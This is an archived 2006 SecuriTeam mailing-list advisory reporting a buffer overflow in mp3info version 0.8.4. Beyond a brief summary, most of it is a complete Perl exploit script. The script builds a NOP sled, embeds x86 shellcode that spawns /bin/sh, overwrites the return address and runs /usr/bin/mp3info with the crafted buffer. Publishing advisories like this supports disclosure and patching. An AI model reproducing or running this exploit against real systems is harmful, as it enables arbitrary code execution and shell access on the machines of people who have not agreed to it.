[EXPL] mp3info Buffer Overflow
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 14 May 2006 18:09:40 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
mp3info Buffer Overflow
------------------------------------------------------------------------
SUMMARY
" <http://www.ibiblio.org/mp3info/> MP3Info is a little utility used to
read and modify the ID3 tags of MP3 files."
Improper handling of user input allows attackers to execute arbitrary code
using mp3info.
DETAILS
Vulnerable Systems:
* mp3info version 0.8.4
Exploit:
#!/usr/bin/perl
# mp3info Buffer Overflow Exploit
# by Kamil 'K3' Sienicki
# just for fun ;-)
$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";
$len = 413;
$ret = 0xbffff660;
$nop = "\x90";
$offset = 465;
if (@ARGV == 1) {
$offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
$new_ret = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}
exec("/usr/bin/mp3info", $buffer);
#EoF
ADDITIONAL INFORMATION
The information has been provided by <mailto:K3@xxxxxxxxxxxxxxx> Kamil
Sienicki.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [EXPL] Internet Explorer CSS Attribute DoS
- Next by Date: [NEWS] Empire Server DoS
- Previous by thread: [EXPL] Internet Explorer CSS Attribute DoS
- Next by thread: [NEWS] Empire Server DoS
- Index(es):
Relevant Pages
|
|